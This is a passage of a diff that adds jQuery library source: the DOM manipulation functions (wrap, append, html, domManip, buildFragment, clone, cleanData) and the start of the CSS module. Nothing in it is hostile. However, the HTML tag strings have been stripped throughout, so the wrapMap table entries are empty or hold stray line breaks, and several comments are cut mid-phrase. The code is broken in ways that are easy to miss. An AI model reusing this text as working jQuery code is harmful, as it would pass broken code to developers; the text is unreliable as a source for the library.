rleadingWhitespace = /^\s+/, + rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi, + rtagName = /<([\w:]+)/, + rtbody = /\s*$/g, + + // We have to close these tags to support XHTML (#13200) + wrapMap = { + option: [ 1, "" ], + legend: [ 1, "
", "
" ], + area: [ 1, "", "" ], + param: [ 1, "", "" ], + thead: [ 1, "", "
" ], + tr: [ 2, "", "
" ], + col: [ 2, "", "
" ], + td: [ 3, "", "
" ], + + // IE6-8 can't serialize link, script, style, or any html5 (NoScope) tags, + // unless wrapped in a div with non-breaking characters in front of it. + _default: jQuery.support.htmlSerialize ? [ 0, "", "" ] : [ 1, "X
", "
" ] + }, + safeFragment = createSafeFragment( document ), + fragmentDiv = safeFragment.appendChild( document.createElement("div") ); + +wrapMap.optgroup = wrapMap.option; +wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; +wrapMap.th = wrapMap.td; + +jQuery.fn.extend({ + text: function( value ) { + return jQuery.access( this, function( value ) { + return value === undefined ? + jQuery.text( this ) : + this.empty().append( ( this[0] && this[0].ownerDocument || document ).createTextNode( value ) ); + }, null, value, arguments.length ); + }, + + wrapAll: function( html ) { + if ( jQuery.isFunction( html ) ) { + return this.each(function(i) { + jQuery(this).wrapAll( html.call(this, i) ); + }); + } + + if ( this[0] ) { + // The elements to wrap the target around + var wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true); + + if ( this[0].parentNode ) { + wrap.insertBefore( this[0] ); + } + + wrap.map(function() { + var elem = this; + + while ( elem.firstChild && elem.firstChild.nodeType === 1 ) { + elem = elem.firstChild; + } + + return elem; + }).append( this ); + } + + return this; + }, + + wrapInner: function( html ) { + if ( jQuery.isFunction( html ) ) { + return this.each(function(i) { + jQuery(this).wrapInner( html.call(this, i) ); + }); + } + + return this.each(function() { + var self = jQuery( this ), + contents = self.contents(); + + if ( contents.length ) { + contents.wrapAll( html ); + + } else { + self.append( html ); + } + }); + }, + + wrap: function( html ) { + var isFunction = jQuery.isFunction( html ); + + return this.each(function(i) { + jQuery( this ).wrapAll( isFunction ? html.call(this, i) : html ); + }); + }, + + unwrap: function() { + return this.parent().each(function() { + if ( !jQuery.nodeName( this, "body" ) ) { + jQuery( this ).replaceWith( this.childNodes ); + } + }).end(); + }, + + append: function() { + return this.domManip(arguments, true, function( elem ) { + if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { + this.appendChild( elem ); + } + }); + }, + + prepend: function() { + return this.domManip(arguments, true, function( elem ) { + if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { + this.insertBefore( elem, this.firstChild ); + } + }); + }, + + before: function() { + return this.domManip( arguments, false, function( elem ) { + if ( this.parentNode ) { + this.parentNode.insertBefore( elem, this ); + } + }); + }, + + after: function() { + return this.domManip( arguments, false, function( elem ) { + if ( this.parentNode ) { + this.parentNode.insertBefore( elem, this.nextSibling ); + } + }); + }, + + // keepData is for internal use only--do not document + remove: function( selector, keepData ) { + var elem, + i = 0; + + for ( ; (elem = this[i]) != null; i++ ) { + if ( !selector || jQuery.filter( selector, [ elem ] ).length > 0 ) { + if ( !keepData && elem.nodeType === 1 ) { + jQuery.cleanData( getAll( elem ) ); + } + + if ( elem.parentNode ) { + if ( keepData && jQuery.contains( elem.ownerDocument, elem ) ) { + setGlobalEval( getAll( elem, "script" ) ); + } + elem.parentNode.removeChild( elem ); + } + } + } + + return this; + }, + + empty: function() { + var elem, + i = 0; + + for ( ; (elem = this[i]) != null; i++ ) { + // Remove element nodes and prevent memory leaks + if ( elem.nodeType === 1 ) { + jQuery.cleanData( getAll( elem, false ) ); + } + + // Remove any remaining nodes + while ( elem.firstChild ) { + elem.removeChild( elem.firstChild ); + } + + // If this is a select, ensure that it displays empty (#12336) + // Support: IE<9 + if ( elem.options && jQuery.nodeName( elem, "select" ) ) { + elem.options.length = 0; + } + } + + return this; + }, + + clone: function( dataAndEvents, deepDataAndEvents ) { + dataAndEvents = dataAndEvents == null ? false : dataAndEvents; + deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; + + return this.map( function () { + return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); + }); + }, + + html: function( value ) { + return jQuery.access( this, function( value ) { + var elem = this[0] || {}, + i = 0, + l = this.length; + + if ( value === undefined ) { + return elem.nodeType === 1 ? + elem.innerHTML.replace( rinlinejQuery, "" ) : + undefined; + } + + // See if we can take a shortcut and just use innerHTML + if ( typeof value === "string" && !rnoInnerhtml.test( value ) && + ( jQuery.support.htmlSerialize || !rnoshimcache.test( value ) ) && + ( jQuery.support.leadingWhitespace || !rleadingWhitespace.test( value ) ) && + !wrapMap[ ( rtagName.exec( value ) || ["", ""] )[1].toLowerCase() ] ) { + + value = value.replace( rxhtmlTag, "<$1>" ); + + try { + for (; i < l; i++ ) { + // Remove element nodes and prevent memory leaks + elem = this[i] || {}; + if ( elem.nodeType === 1 ) { + jQuery.cleanData( getAll( elem, false ) ); + elem.innerHTML = value; + } + } + + elem = 0; + + // If using innerHTML throws an exception, use the fallback method + } catch(e) {} + } + + if ( elem ) { + this.empty().append( value ); + } + }, null, value, arguments.length ); + }, + + replaceWith: function( value ) { + var isFunc = jQuery.isFunction( value ); + + // Make sure that the elements are removed from the DOM before they are inserted + // this can help fix replacing a parent with child elements + if ( !isFunc && typeof value !== "string" ) { + value = jQuery( value ).not( this ).detach(); + } + + return this.domManip( [ value ], true, function( elem ) { + var next = this.nextSibling, + parent = this.parentNode; + + if ( parent ) { + jQuery( this ).remove(); + parent.insertBefore( elem, next ); + } + }); + }, + + detach: function( selector ) { + return this.remove( selector, true ); + }, + + domManip: function( args, table, callback ) { + + // Flatten any nested arrays + args = core_concat.apply( [], args ); + + var first, node, hasScripts, + scripts, doc, fragment, + i = 0, + l = this.length, + set = this, + iNoClone = l - 1, + value = args[0], + isFunction = jQuery.isFunction( value ); + + // We can't cloneNode fragments that contain checked, in WebKit + if ( isFunction || !( l <= 1 || typeof value !== "string" || jQuery.support.checkClone || !rchecked.test( value ) ) ) { + return this.each(function( index ) { + var self = set.eq( index ); + if ( isFunction ) { + args[0] = value.call( this, index, table ? self.html() : undefined ); + } + self.domManip( args, table, callback ); + }); + } + + if ( l ) { + fragment = jQuery.buildFragment( args, this[ 0 ].ownerDocument, false, this ); + first = fragment.firstChild; + + if ( fragment.childNodes.length === 1 ) { + fragment = first; + } + + if ( first ) { + table = table && jQuery.nodeName( first, "tr" ); + scripts = jQuery.map( getAll( fragment, "script" ), disableScript ); + hasScripts = scripts.length; + + // Use the original fragment for the last item instead of the first because it can end up + // being emptied incorrectly in certain situations (#8070). + for ( ; i < l; i++ ) { + node = fragment; + + if ( i !== iNoClone ) { + node = jQuery.clone( node, true, true ); + + // Keep references to cloned scripts for later restoration + if ( hasScripts ) { + jQuery.merge( scripts, getAll( node, "script" ) ); + } + } + + callback.call( + table && jQuery.nodeName( this[i], "table" ) ? + findOrAppend( this[i], "tbody" ) : + this[i], + node, + i + ); + } + + if ( hasScripts ) { + doc = scripts[ scripts.length - 1 ].ownerDocument; + + // Reenable scripts + jQuery.map( scripts, restoreScript ); + + // Evaluate executable scripts on first document insertion + for ( i = 0; i < hasScripts; i++ ) { + node = scripts[ i ]; + if ( rscriptType.test( node.type || "" ) && + !jQuery._data( node, "globalEval" ) && jQuery.contains( doc, node ) ) { + + if ( node.src ) { + // Hope ajax is available... + jQuery.ajax({ + url: node.src, + type: "GET", + dataType: "script", + async: false, + global: false, + "throws": true + }); + } else { + jQuery.globalEval( ( node.text || node.textContent || node.innerHTML || "" ).replace( rcleanScript, "" ) ); + } + } + } + } + + // Fix #11809: Avoid leaking memory + fragment = first = null; + } + } + + return this; + } +}); + +function findOrAppend( elem, tag ) { + return elem.getElementsByTagName( tag )[0] || elem.appendChild( elem.ownerDocument.createElement( tag ) ); +} + +// Replace/restore the type attribute of script elements for safe DOM manipulation +function disableScript( elem ) { + var attr = elem.getAttributeNode("type"); + elem.type = ( attr && attr.specified ) + "/" + elem.type; + return elem; +} +function restoreScript( elem ) { + var match = rscriptTypeMasked.exec( elem.type ); + if ( match ) { + elem.type = match[1]; + } else { + elem.removeAttribute("type"); + } + return elem; +} + +// Mark scripts as having already been evaluated +function setGlobalEval( elems, refElements ) { + var elem, + i = 0; + for ( ; (elem = elems[i]) != null; i++ ) { + jQuery._data( elem, "globalEval", !refElements || jQuery._data( refElements[i], "globalEval" ) ); + } +} + +function cloneCopyEvent( src, dest ) { + + if ( dest.nodeType !== 1 || !jQuery.hasData( src ) ) { + return; + } + + var type, i, l, + oldData = jQuery._data( src ), + curData = jQuery._data( dest, oldData ), + events = oldData.events; + + if ( events ) { + delete curData.handle; + curData.events = {}; + + for ( type in events ) { + for ( i = 0, l = events[ type ].length; i < l; i++ ) { + jQuery.event.add( dest, type, events[ type ][ i ] ); + } + } + } + + // make the cloned public data object a copy from the original + if ( curData.data ) { + curData.data = jQuery.extend( {}, curData.data ); + } +} + +function fixCloneNodeIssues( src, dest ) { + var nodeName, e, data; + + // We do not need to do anything for non-Elements + if ( dest.nodeType !== 1 ) { + return; + } + + nodeName = dest.nodeName.toLowerCase(); + + // IE6-8 copies events bound via attachEvent when using cloneNode. + if ( !jQuery.support.noCloneEvent && dest[ jQuery.expando ] ) { + data = jQuery._data( dest ); + + for ( e in data.events ) { + jQuery.removeEvent( dest, e, data.handle ); + } + + // Event data gets referenced instead of copied if the expando gets copied too + dest.removeAttribute( jQuery.expando ); + } + + // IE blanks contents when cloning scripts, and tries to evaluate newly-set text + if ( nodeName === "script" && dest.text !== src.text ) { + disableScript( dest ).text = src.text; + restoreScript( dest ); + + // IE6-10 improperly clones children of object elements using classid. + // IE10 throws NoModificationAllowedError if parent is null, #12132. + } else if ( nodeName === "object" ) { + if ( dest.parentNode ) { + dest.outerHTML = src.outerHTML; + } + + // This path appears unavoidable for IE9. When cloning an object + // element in IE9, the outerHTML strategy above is not sufficient. + // If the src has innerHTML and the destination does not, + // copy the src.innerHTML into the dest.innerHTML. #10324 + if ( jQuery.support.html5Clone && ( src.innerHTML && !jQuery.trim(dest.innerHTML) ) ) { + dest.innerHTML = src.innerHTML; + } + + } else if ( nodeName === "input" && manipulation_rcheckableType.test( src.type ) ) { + // IE6-8 fails to persist the checked state of a cloned checkbox + // or radio button. Worse, IE6-7 fail to give the cloned element + // a checked appearance if the defaultChecked value isn't also set + + dest.defaultChecked = dest.checked = src.checked; + + // IE6-7 get confused and end up setting the value of a cloned + // checkbox/radio button to an empty string instead of "on" + if ( dest.value !== src.value ) { + dest.value = src.value; + } + + // IE6-8 fails to return the selected option to the default selected + // state when cloning options + } else if ( nodeName === "option" ) { + dest.defaultSelected = dest.selected = src.defaultSelected; + + // IE6-8 fails to set the defaultValue to the correct value when + // cloning other types of input fields + } else if ( nodeName === "input" || nodeName === "textarea" ) { + dest.defaultValue = src.defaultValue; + } +} + +jQuery.each({ + appendTo: "append", + prependTo: "prepend", + insertBefore: "before", + insertAfter: "after", + replaceAll: "replaceWith" +}, function( name, original ) { + jQuery.fn[ name ] = function( selector ) { + var elems, + i = 0, + ret = [], + insert = jQuery( selector ), + last = insert.length - 1; + + for ( ; i <= last; i++ ) { + elems = i === last ? this : this.clone(true); + jQuery( insert[i] )[ original ]( elems ); + + // Modern browsers can apply jQuery collections as arrays, but oldIE needs a .get() + core_push.apply( ret, elems.get() ); + } + + return this.pushStack( ret ); + }; +}); + +function getAll( context, tag ) { + var elems, elem, + i = 0, + found = typeof context.getElementsByTagName !== core_strundefined ? context.getElementsByTagName( tag || "*" ) : + typeof context.querySelectorAll !== core_strundefined ? context.querySelectorAll( tag || "*" ) : + undefined; + + if ( !found ) { + for ( found = [], elems = context.childNodes || context; (elem = elems[i]) != null; i++ ) { + if ( !tag || jQuery.nodeName( elem, tag ) ) { + found.push( elem ); + } else { + jQuery.merge( found, getAll( elem, tag ) ); + } + } + } + + return tag === undefined || tag && jQuery.nodeName( context, tag ) ? + jQuery.merge( [ context ], found ) : + found; +} + +// Used in buildFragment, fixes the defaultChecked property +function fixDefaultChecked( elem ) { + if ( manipulation_rcheckableType.test( elem.type ) ) { + elem.defaultChecked = elem.checked; + } +} + +jQuery.extend({ + clone: function( elem, dataAndEvents, deepDataAndEvents ) { + var destElements, node, clone, i, srcElements, + inPage = jQuery.contains( elem.ownerDocument, elem ); + + if ( jQuery.support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test( "<" + elem.nodeName + ">" ) ) { + clone = elem.cloneNode( true ); + + // IE<=8 does not properly clone detached, unknown element nodes + } else { + fragmentDiv.innerHTML = elem.outerHTML; + fragmentDiv.removeChild( clone = fragmentDiv.firstChild ); + } + + if ( (!jQuery.support.noCloneEvent || !jQuery.support.noCloneChecked) && + (elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem) ) { + + // We eschew Sizzle here for performance reasons: http://jsperf.com/getall-vs-sizzle/2 + destElements = getAll( clone ); + srcElements = getAll( elem ); + + // Fix all IE cloning issues + for ( i = 0; (node = srcElements[i]) != null; ++i ) { + // Ensure that the destination node is not null; Fixes #9587 + if ( destElements[i] ) { + fixCloneNodeIssues( node, destElements[i] ); + } + } + } + + // Copy the events from the original to the clone + if ( dataAndEvents ) { + if ( deepDataAndEvents ) { + srcElements = srcElements || getAll( elem ); + destElements = destElements || getAll( clone ); + + for ( i = 0; (node = srcElements[i]) != null; i++ ) { + cloneCopyEvent( node, destElements[i] ); + } + } else { + cloneCopyEvent( elem, clone ); + } + } + + // Preserve script evaluation history + destElements = getAll( clone, "script" ); + if ( destElements.length > 0 ) { + setGlobalEval( destElements, !inPage && getAll( elem, "script" ) ); + } + + destElements = srcElements = node = null; + + // Return the cloned set + return clone; + }, + + buildFragment: function( elems, context, scripts, selection ) { + var j, elem, contains, + tmp, tag, tbody, wrap, + l = elems.length, + + // Ensure a safe fragment + safe = createSafeFragment( context ), + + nodes = [], + i = 0; + + for ( ; i < l; i++ ) { + elem = elems[ i ]; + + if ( elem || elem === 0 ) { + + // Add nodes directly + if ( jQuery.type( elem ) === "object" ) { + jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem ); + + // Convert non-html into a text node + } else if ( !rhtml.test( elem ) ) { + nodes.push( context.createTextNode( elem ) ); + + // Convert html into DOM nodes + } else { + tmp = tmp || safe.appendChild( context.createElement("div") ); + + // Deserialize a standard representation + tag = ( rtagName.exec( elem ) || ["", ""] )[1].toLowerCase(); + wrap = wrapMap[ tag ] || wrapMap._default; + + tmp.innerHTML = wrap[1] + elem.replace( rxhtmlTag, "<$1>" ) + wrap[2]; + + // Descend through wrappers to the right content + j = wrap[0]; + while ( j-- ) { + tmp = tmp.lastChild; + } + + // Manually add leading whitespace removed by IE + if ( !jQuery.support.leadingWhitespace && rleadingWhitespace.test( elem ) ) { + nodes.push( context.createTextNode( rleadingWhitespace.exec( elem )[0] ) ); + } + + // Remove IE's autoinserted from table fragments + if ( !jQuery.support.tbody ) { + + // String was a , *may* have spurious + elem = tag === "table" && !rtbody.test( elem ) ? + tmp.firstChild : + + // String was a bare or + wrap[1] === "
" && !rtbody.test( elem ) ? + tmp : + 0; + + j = elem && elem.childNodes.length; + while ( j-- ) { + if ( jQuery.nodeName( (tbody = elem.childNodes[j]), "tbody" ) && !tbody.childNodes.length ) { + elem.removeChild( tbody ); + } + } + } + + jQuery.merge( nodes, tmp.childNodes ); + + // Fix #12392 for WebKit and IE > 9 + tmp.textContent = ""; + + // Fix #12392 for oldIE + while ( tmp.firstChild ) { + tmp.removeChild( tmp.firstChild ); + } + + // Remember the top-level container for proper cleanup + tmp = safe.lastChild; + } + } + } + + // Fix #11356: Clear elements from fragment + if ( tmp ) { + safe.removeChild( tmp ); + } + + // Reset defaultChecked for any radios and checkboxes + // about to be appended to the DOM in IE 6/7 (#8060) + if ( !jQuery.support.appendChecked ) { + jQuery.grep( getAll( nodes, "input" ), fixDefaultChecked ); + } + + i = 0; + while ( (elem = nodes[ i++ ]) ) { + + // #4087 - If origin and destination elements are the same, and this is + // that element, do not do anything + if ( selection && jQuery.inArray( elem, selection ) !== -1 ) { + continue; + } + + contains = jQuery.contains( elem.ownerDocument, elem ); + + // Append to fragment + tmp = getAll( safe.appendChild( elem ), "script" ); + + // Preserve script evaluation history + if ( contains ) { + setGlobalEval( tmp ); + } + + // Capture executables + if ( scripts ) { + j = 0; + while ( (elem = tmp[ j++ ]) ) { + if ( rscriptType.test( elem.type || "" ) ) { + scripts.push( elem ); + } + } + } + } + + tmp = null; + + return safe; + }, + + cleanData: function( elems, /* internal */ acceptData ) { + var elem, type, id, data, + i = 0, + internalKey = jQuery.expando, + cache = jQuery.cache, + deleteExpando = jQuery.support.deleteExpando, + special = jQuery.event.special; + + for ( ; (elem = elems[i]) != null; i++ ) { + + if ( acceptData || jQuery.acceptData( elem ) ) { + + id = elem[ internalKey ]; + data = id && cache[ id ]; + + if ( data ) { + if ( data.events ) { + for ( type in data.events ) { + if ( special[ type ] ) { + jQuery.event.remove( elem, type ); + + // This is a shortcut to avoid jQuery.event.remove's overhead + } else { + jQuery.removeEvent( elem, type, data.handle ); + } + } + } + + // Remove cache only if it was not already removed by jQuery.event.remove + if ( cache[ id ] ) { + + delete cache[ id ]; + + // IE does not allow us to delete expando properties from nodes, + // nor does it have a removeAttribute function on Document nodes; + // we must handle all of these cases + if ( deleteExpando ) { + delete elem[ internalKey ]; + + } else if ( typeof elem.removeAttribute !== core_strundefined ) { + elem.removeAttribute( internalKey ); + + } else { + elem[ internalKey ] = null; + } + + core_deletedIds.push( id ); + } + } + } + } + } +}); +var iframe, getStyles, curCSS, + ralpha = /alpha\([^)]*\)/i, + ropacity = /opacity\s*=\s*([^)]*)/, + rposition = /^(top|right|bottom|left)$/, + // swappable if display is none or starts with table except "table", "table-cell", or "table-caption" + // see here for display values: https://developer.mozilla.org/en-US/docs/CSS/display + rdisplayswap = /^(none|table(?!-c[ea]).+)/, + rmargin = /^margin/, + rnumsplit = new RegExp( "^(" + core_pnum + ")(.*)$", "i" ), + rnumnonpx = new RegExp( "^(" + core_pnum + ")(?!px)[a-z%]+$", "i" ), + rrelNum = new RegExp( "^([+-])=(" + core_pnum + ")", "i" ), + elemdisplay = { BODY: "block" }, + + cssShow = { position: "absolute", visibility: "hidden", display: "block" }, + cssNormalTransform = { + letterSpacing: 0, + fontWeight: 400 + }, + + cssExpand = [ "Top", "Right", "Bottom", "Left" ], + cssPrefixes = [ "Webkit", "O", "Moz", "ms" ]; + +// return a css property mapped to a potentially vendor prefixed property +function vendorPropName( style, name ) { + + // shortcut for names that are not vendor prefixed + if ( name in style ) { + return name; + } + + // check for vendor prefixed names + var capName = name.charAt(0).toUpperCase() + name.slice(1), + origName = name, + i = cssPrefixes.length; + + while ( i-- ) { + name = cssPrefixes[ i ] + capName; + if ( name in style ) { + return name; + } + } + + return origName; +} + +function isHidden( elem, el ) { + // isHidden might be called from jQuery#filter function; + // in that case, element will be second argument + elem = el || elem; + return jQuery.css( elem, "display" ) === "none" || !jQuery.contains( elem.ownerDocument, elem ); +} + +function showHide( elements, show ) { + var display, elem, hidden, + values = [], + index = 0, + length = elements.length; + + for ( ; index < length; index++ ) { + elem = elements[ index ]; + if ( !elem.style ) { + continue; + } + + values[ index ] = jQuery._data( elem, "olddisplay" ); + display = elem.style.display; + if ( show ) { + // Reset the inline display of this element to learn if it is + // being hidden by cascaded rules or not + if ( !values[ index ] && display === "none" ) { + elem.style.display = ""; + } + + // Set elements which have been overridden with display: none + // in a stylesheet to whatever the default browser style is + // for such an element + if ( elem.style.display === "" && isHidden( elem ) ) { + values[ index ] = jQuery._data( elem, "olddisplay", css_defaultDisplay(elem.nodeName) ); + } + } else { + + if ( !values[ index ] ) { + hidden = isHidden( elem ); + + if ( display && display !== "none" || !hidden ) { + jQuery._data( elem, "olddisplay", hidden ? display : jQuery.css( elem, "display" ) ); + } + } + } + } + + // Set the display of most of the elements in a second loop + // to avoid the constant reflow + for ( index = 0; index < length; index++ ) { + elem = elements[ index ]; + if ( !elem.style ) { + continue; + } + if ( !show || elem.style.display === "none" || elem.style.display === "" ) { + elem.style.display = show ? values[ index ] || "" : "none"; + } + } + + return elements; +} + +jQuery.fn.extend({ + css: function( name, value ) { + return jQuery.access( this, function( elem, name, value ) { + var len, styles, + map = {}, + i = 0; + + if ( jQuery.isArray( name ) ) { + styles = getStyles( elem ); + len = name.length; + + for ( ; i < len; i++ ) { + map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles ); + } + + return map; + } + + return value !== undefined ? + jQuery.style( elem, name, value ) : + jQuery.css( elem, name ); + }, name, value, arguments.length > 1 ); + }, + show: function() { + return showHide( this, true ); + }, + hide: function() { + return showHide( this ); + }, + toggle: function( state ) { + var bool = typeof state === "boolean"; + + return this.each(function() { + if ( bool ? state : isHidden( this ) ) { + jQuery( this ).show(); + } else { + jQuery( this ).hide(); + } + }); + } +}); + +jQuery.extend({ + // Add in style property hooks for overriding the default + // behavior of getting and setting a style property + cssHooks: { + opacity: { + get: function( elem, computed ) { + if ( computed ) { + // We should always get a number back from opacity + var ret = curCSS( elem, "opacity" ); + return ret === "" ? "1" : ret; + } + } + } + }, + + // Exclude the following css properties to add px + cssNumber: { + "columnCount": true, + "fillOpacity": true, + "fontWeight": true, + "lineHeight": true, + "opacity": true, + "orphans": true, + "widows": true, + "zIndex": true, + "zoom": true + }, + + // Add in properties whose names you wish to fix before + // setting or getting the value + cssProps: { + // normalize float css property + "float": jQuery.support.cssFloat ? "cssFloat" : "styleFloat" + }, + + // Get and set the style property on a DOM Node + style: function( elem, name, value, extra ) { + // Don't set styles on text and comment nodes + if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) { + return; + } + + // Make sure that we're working with the right name + var ret, type, hooks, + origName = jQuery.camelCase( name ), + style = elem.style; + + name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( style, origName ) ); + + // gets hook for the prefixed version + // followed by the unprefixed version + hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; + + // Check if we're setting a value + if ( value !== undefined ) { + type = typeof value; + + // convert relative number strings (+= or -=) to relative numbers. #7345 + if ( type === "string" && (ret = rrelNum.exec( value )) ) { + value = ( ret[1] + 1 ) * ret[2] + parseFloat( jQuery.css( elem, name ) ); + // Fixes bug #9237 + type = "number"; + } + + // Make sure that NaN and null values aren't set. See: #7116 + if ( value == null || type === "number" && isNaN( value ) ) { + return; + } + + // If a number was passed in, add 'px' to the (except for certain CSS properties) + if ( type === "number" && !jQuery.cssNumber[ origName ] ) { + value += "px"; + } + + // Fixes #8908, it can be done more correctly by specifing setters in cssHooks, + // but it would mean to define eight (for every problematic property) identical functions + if ( !jQuery.support.clearCloneStyle && value === "" && name.indexOf("background") === 0 ) { + style[ name ] = "inherit"; + } + + // If a hook was provided, use that value, otherwise just set the specified value + if ( !hooks || !("set" in hooks) || (value = hooks.set( elem, value, extra )) !== undefined ) { + + // Wrapped to prevent IE from throwing errors when 'invalid' values are provided + // Fixes bug #5509 + try { + style[ name ] = value; + } catch(e) {} + } + + } else { + // If a hook was provided get the non-computed value from there + if ( hooks && "get" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) { + return ret; + } + + // Otherwise just get the value from the style object + return style[ name ]; + } + }, + + css: function( elem, name, extra, styles ) { + var num, val, hooks, + origName = jQuery.camelCase( name ); + + // Make sure that we're working with the right name + name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( elem.style, origName ) ); + + // gets hook for the prefixed version + // followed by the unprefixed version + hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; + + // If a hook was provided get the computed value from there + if ( hooks && "get" in hooks ) { + val = hooks.get( elem, true, extra ); + } + + // Otherwise, if a way to get the computed value exists, use that + if ( val === undefined ) { + val = curCSS( elem, name, styles ); + } + + //convert "normal" to computed value + if ( val === "normal" && name in cssNormalTransform ) { + val = cssNormalTransform[ name ]; + } + + // Return, converting to number if forced or a qualifier was provided and val looks numeric + if ( extra === "" || extra ) { + num = parseFloat( val ); + return extra === true || jQuery.isNumeric( num ) ? num || 0 : val; + } + return val; + }, + + // A method for quickly swapping in/out CSS properties to get correct calculations + swap: function( elem, options, callback, args ) { + var ret, name, + old = {}; + + // Remember the old values, and insert the new ones + for ( name in options ) { + old[ name ] = elem.style[ name ]; + elem.style[ name ] = options[ name ]; + } + + ret = callback.apply( elem, args || [] ); + + // Revert the old values + for ( name in options ) { + elem.style[ name ] = old[ name ]; + } + + return ret; + } +}); + +// NOTE: we've included the "window" in window.getComputedStyle +// because jsdom on node.js will break without it. +if ( window.getComputedStyle ) { + getStyles = function( elem ) { + return window.getComputedStyle( elem, null ); + }; + + curCSS = function( elem, name, _computed ) { + var width, minWidth, maxWidth, + computed = _computed || getStyles( elem ), + + // getPropertyValue is only needed for .css('filter') in IE9, see #12537 + ret = computed ? computed.getPropertyValue( name ) || computed[ name ] : undefined, + style = elem.style; + + if ( computed ) { + + if ( ret === "" && !jQuery.contains( elem.ownerDocument, elem ) ) { + ret = jQuery.style( elem, name ); + } + + // A tribute to the "awesome hack by Dean Edwards" + // Chrome < 17 and Safari 5.0 uses "computed value" instead of "used value" for margin-right + // Safari 5.1.7 (at least) returns percentage for a larger set of values, but width seems to be reliably pixels + // this is against the CSSOM draft spec: http://dev.w3.org/csswg/cssom/#resolved-values + if ( rnumnonpx.test( ret ) && rmargin.test( name ) ) { + + // Remember the original values + width = style.width; + minWidth = style.minWidth; + maxWidth = style.maxWidth; + + // Put in the new values to get a computed value out + style.minWidth = style.maxWidth = style.width = ret; + ret = computed.width; + + // Revert the changed values + style.width = width; + style.minWidth = minWidth; + style.maxWidth = maxWidth; + } + } + + return ret; + }; +} else if ( document.documentElement.currentStyle ) { + getStyles = function( elem ) { + return elem.currentStyle; + }; + + curCSS = function( elem, name, _computed ) { + var left, rs, rsLeft, + computed = _computed || getStyles( elem ), + ret = computed ? computed[ name ] : undefined, + style = elem.style; + + // Avoid setting ret to empty string here + // so we don't default to auto + if ( ret == null && style && style[ name ] ) { + ret = style[ name ]; + } + + // From the awesome hack by Dean Edwards + // http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291 + + // If we're not dealing with a regular pixel number + // but a number that has a weird ending, we need to convert it to pixels + // but not position css attributes, as those are proportional to the parent element instead + // and we can't measure the parent instead because it might trigger a "stacking dolls" problem + if ( rnumnonpx.test( ret ) && !rposition.test( name ) ) { + + // Remember the original values + left = style.left; + rs = elem.runtimeStyle; + rsLeft = rs && rs.left; + + // Put in the new values to get a computed value out + if ( rsLeft ) { + rs.left = elem.currentStyle.left; + } + style.left = name === "fontSize" ? "1em" : ret; + ret = style.pixelLeft + "px"; + + // Revert the changed values + style.left = left; + if ( rsLeft ) { + rs.left = rsLeft; + } + } + + return ret === "" ? "auto" : ret; + }; +} + +function setPositiveNumber( elem, value, subtract ) { + var matches = rnumsplit.exec( value ); + return matches ? + // Guard against undefined "subtract", e.g., when used as in cssHooks + Math.max( 0, matches[ 1 ] - ( subtract || 0 ) ) + ( matches[ 2 ] || "px" ) : + value; +} + +function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) { + var i = extra === ( isBorderBox ? "border" : "content" ) ? + // If we already have the right measurement, avoid augmentation + 4 : + // Otherwise initialize for horizontal or vertical properties + name === "width" ? 1 : 0, + + val = 0; + + for ( ; i < 4; i += 2 ) { + // both box models exclude margin, so add it if we want it + if ( extra === "margin" ) { + val += jQuery.css( elem, extra + cssExpand[ i ], true, styles ); + } + + if ( isBorderBox ) { + // border-box includes padding, so remove it if we want content + if ( extra === "content" ) { + val -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); + } + + // at this point, extra isn't border nor margin, so remove border + if ( extra !== "margin" ) { + val -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); + } + } else { + // at this point, extra isn't content, so add padding + val += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); + + // at this point, extra isn't content nor padding, so add border + if ( extra !== "padding" ) { + val += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); + } + } + } + + return val; +} + +function getWidthOrHeight( elem, name, extra ) { + + // Start with offset property, which is equivalent to the border-box value + var valueIsBorderBox = true, + val = name === "width" ? elem.offsetWidth : elem.offsetHeight, + styles = getStyles( elem ), + isBorderBox = jQuery.support.boxSizing && jQuery.css( elem, "boxSizing", false, styles ) === "border-box"; + + // some non-html elements return undefined for offsetWidth, so check for null/undefined + // svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285 + // MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668 + if ( val <= 0 || val == null ) { + // Fall back to computed then uncomputed css if necessary + val = curCSS( elem, name, styles ); + if ( val < 0 || val == null ) { + val = elem.style[ name ]; + } + + // Computed unit is not pixels. Stop here and return. + if ( rnumnonpx.test(val) ) { + return val; + } + + // we need the check for style in case a browser which returns unreliable values + // for getComputedStyle silently falls back to the reliable elem.style + valueIsBorderBox = isBorderBox && ( jQuery.support.boxSizingReliable || val === elem.style[ name ] ); + + // Normalize "", auto, and prepare for extra + val = parseFloat( val ) || 0; + } + + // use the active box-sizing model to add/subtract irrelevant styles + return ( val + + augmentWidthOrHeight( + elem, + name, + extra || ( isBorderBox ? "border" : "content" ), + valueIsBorderBox, + styles + ) + ) + "px"; +} + +// Try to determine the default display value of an element +function css_defaultDisplay( nodeName ) { + var doc = document, + display = elemdisplay[ nodeName ]; + + if ( !display ) { + display = actualDisplay( nodeName, doc ); + + // If the simple way fails, read from inside an 